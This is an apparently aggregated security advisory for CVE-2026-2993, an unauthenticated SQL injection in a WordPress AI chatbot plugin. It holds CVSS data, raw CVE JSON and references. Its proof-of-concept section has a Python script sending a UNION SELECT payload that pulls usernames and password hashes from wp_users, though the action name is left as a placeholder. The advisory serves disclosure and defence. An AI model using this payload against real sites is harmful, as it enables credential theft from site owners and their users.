Security Vulnerability Report
中文
CVE-2026-2993 CVSS 7.5 HIGH

CVE-2026-2993

Published: 2026-05-12 09:16:40
Last Modified: 2026-05-12 09:16:40

Description

The AI Chatbot & Workflow Automation by AIWU plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.4.17 due to insufficient escaping on user supplied parameters and lack of sufficient preparation on the existing SQL query in the getListForTbl() function. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. NOTE: This issue is partially mitigated by a patch in version 1.4.11 that adds a nonce check for a nonce that is only available to administrators.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

AI Chatbot & Workflow Automation by AIWU <= 1.4.17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # The specific action name depends on the plugin's registration, # this is a placeholder based on the vulnerable function getListForTbl(). # Attackers would need to enumerate the 'action' parameter. payload_data = { "action": "vulnerable_action_name", # Replace with actual action hook "param": "1 UNION SELECT 1, 2, user_login, user_pass, 5 FROM wp_users-- -" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: # Sending the request without authentication (PR:N) response = requests.post(target_url, data=payload_data, headers=headers, timeout=10) if response.status_code == 200: # Check if sensitive data appears in the response if "admin" in response.text or "$P$" in response.text: print("[+] Potential SQL Injection successful!") print("[+] Response snippet:", response.text[:200]) else: print("[-] Request sent, but no obvious data leakage detected in response.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2993", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:40.030", "lastModified": "2026-05-12T09:16:40.030", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The AI Chatbot & Workflow Automation by AIWU plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.4.17 due to insufficient escaping on user supplied parameters and lack of sufficient preparation on the existing SQL query in the getListForTbl() function. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. NOTE: This issue is partially mitigated by a patch in version 1.4.11 that adds a nonce check for a nonce that is only available to administrators."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ai-copilot-content-generator/tags/1.4.6/classes/controller.php#L104", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-copilot-content-generator/tags/1.4.6/classes/controller.php#L114", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-copilot-content-generator/tags/1.4.6/classes/controller.php#L132", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-copilot-content-generator/tags/1.4.6/classes/controller.php#L154", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-copilot-content-generator/tags/1.4.6/classes/controller.php#L157", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-copilot-content-generator/tags/1.4.6/classes/frame.php#L282", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-copilot-content-generator/tags/1.4.6/classes/model.php#L162", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-copilot-content-generator/tags/1.4.6/classes/req.php#L194", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-copilot-content-generator/tags/1.4.6/classes/table.php#L265", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-copilot-content-generator/trunk/classes/controller.php#L104", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-copilot-content-generator/trunk/classes/controller.php#L114", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-copilot-content-generator/trunk/classes/controller.php#L132", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-copilot-content-generator/trunk/classes/controller.php#L154", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-copilot-content-generator/trunk/classes/controller.php#L157", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-copilot-content-generator/trunk/classes/frame.php#L282", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-copilot-content-generator/trunk/classes/model.php#L162", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-copilot-content-generator/trunk/classes/req.php#L194", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-copilot-content-generator/trunk/classes/table.php#L265", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/74c71541-6706-43d2-af3d-0655e59f997c?source=cve", "source": "[email protected]"}]}}